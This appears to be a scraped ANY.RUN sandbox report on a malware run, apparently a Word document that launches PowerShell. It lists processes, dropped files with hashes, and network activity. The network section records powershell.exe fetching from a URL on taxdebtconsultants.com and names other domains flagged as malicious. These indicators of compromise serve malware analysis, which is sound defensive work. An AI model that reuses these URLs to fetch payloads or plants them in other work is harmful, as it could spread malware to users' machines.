2232"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=868,13107132481500220511,9358099817554849135,131072 --enable-features=PasswordImport --service-pipe-token=96FCA4BDC4C65138FC31E4F3A6F737E8 --lang=en-US --instant-process --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --service-request-channel-token=96FCA4BDC4C65138FC31E4F3A6F737E8 --renderer-client-id=5 --mojo-platform-channel-handle=1928 /prefetch:1C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google Inc.
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
68.0.3440.106
2556"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=868,13107132481500220511,9358099817554849135,131072 --enable-features=PasswordImport --service-pipe-token=1736808648E75A14FFDB8CB35D4AF8F0 --lang=en-US --extension-process --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --service-request-channel-token=1736808648E75A14FFDB8CB35D4AF8F0 --renderer-client-id=3 --mojo-platform-channel-handle=2100 /prefetch:1C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google Inc.
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
68.0.3440.106
Total events
2 741
Read events
2 062
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
131
Text files
184
Unknown types
23

Dropped files

PID
Process
Filename
Type
2972WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR690B.tmp.cvr —
MD5:—
SHA256:—
2616powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F6RDHXBVSHKOIQJW6KX9.temp —
MD5:—
SHA256:—
2576ntvdm.exeC:\Users\admin\AppData\Local\Temp\scs78AB.tmp —
MD5:—
SHA256:—
2576ntvdm.exeC:\Users\admin\AppData\Local\Temp\scs78BC.tmp —
MD5:—
SHA256:—
2356chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\4062e863-b1d7-4e85-9e95-95de6fbf17bc.tmp —
MD5:—
SHA256:—
2356chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB\000016.dbtmp —
MD5:—
SHA256:—
2356chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000016.dbtmp —
MD5:—
SHA256:—
2972WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:FFDDA778140572C37C6C1B9E1A88C58B
SHA256:478279FBD54E6D1EE6C21D74755708B0B3AD34CCC4069C872C81C9A3A4BF25D2
2616powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF2471f4.TMPbinary
MD5:6073B6FC66D2E68644893344F6904E4A
SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3
2356chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG.oldtext
MD5:197882774A7ECEC9046BC48F63189B66
SHA256:27377B0D5F989997C2C3F74ACF163EED44B60631DDAA768F6655D7BE555742B2
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
44
DNS requests
24
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2616
powershell.exe
GET
301
173.239.23.228:80
http://taxdebtconsultants.com/3n55Cx/
US
—
—
malicious
2356
chrome.exe
GET
302
216.239.38.21:80
http://virustotal.com/
US
—
—
whitelisted
—
—
GET
200
2.16.106.80:80
http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEBPqKHBb9OztDDZjCYBhQzY%3D
unknown
der
471 b
whitelisted
—
—
GET
200
2.16.106.80:80
http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTNMNJMNDqCqx8FcBWK16EHdimS6QQUU3m%2FWqorSs9UgOHYm8Cd8rIDZssCEAXk3DuUOKs7hZfLpqGYUOM%3D
unknown
der
727 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2356
chrome.exe
172.217.23.163:443
www.google.de
Google Inc.
US
whitelisted
2356
chrome.exe
172.217.22.35:443
www.google.ae
Google Inc.
US
whitelisted
2356
chrome.exe
172.217.23.174:443
apis.google.com
Google Inc.
US
whitelisted
2616
powershell.exe
104.31.88.137:443
www.domainmarket.com
Cloudflare Inc
US
shared
2616
powershell.exe
173.239.23.228:80
taxdebtconsultants.com
Webair Internet Development Company Inc.
US
malicious
2356
chrome.exe
216.58.207.74:443
safebrowsing.googleapis.com
Google Inc.
US
whitelisted
2356
chrome.exe
216.58.205.227:443
www.gstatic.com
Google Inc.
US
whitelisted
2356
chrome.exe
216.58.206.4:443
www.google.com
Google Inc.
US
whitelisted
2356
chrome.exe
172.217.22.109:443
accounts.google.com
Google Inc.
US
whitelisted
2356
chrome.exe
216.58.210.3:443
clientservices.googleapis.com
Google Inc.
US
whitelisted

DNS requests

Domain
IP
Reputation
lctnastisa01.com
  • —
malicious
taxdebtconsultants.com
  • 173.239.23.228
malicious
www.domainmarket.com
  • 104.31.88.137
  • 104.31.89.137
malicious
clientservices.googleapis.com
  • 216.58.210.3
whitelisted
safebrowsing.googleapis.com
  • 216.58.207.74
whitelisted
accounts.google.com
  • 172.217.22.109
shared
www.gstatic.com
  • 216.58.205.227
whitelisted
www.google.de
  • 172.217.23.163
whitelisted
ssl.gstatic.com
  • 172.217.23.163
whitelisted
apis.google.com
  • 172.217.23.174
whitelisted

Threats

No threats detected
Process
Message
notepad++.exe
VerifyLibrary: certificate revocation checking is disabled
notepad++.exe
VerifyLibrary: certificate revocation checking is disabled
notepad++.exe
42C4C5846BB675C74E2B2C90C69AB44366401093
notepad++.exe
VerifyLibrary: C:\Program Files\Notepad++\SciLexer.dll
notepad++.exe
VerifyLibrary: certificate revocation checking is disabled
notepad++.exe
42C4C5846BB675C74E2B2C90C69AB44366401093
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Tracking-Number-3JJV59211348006072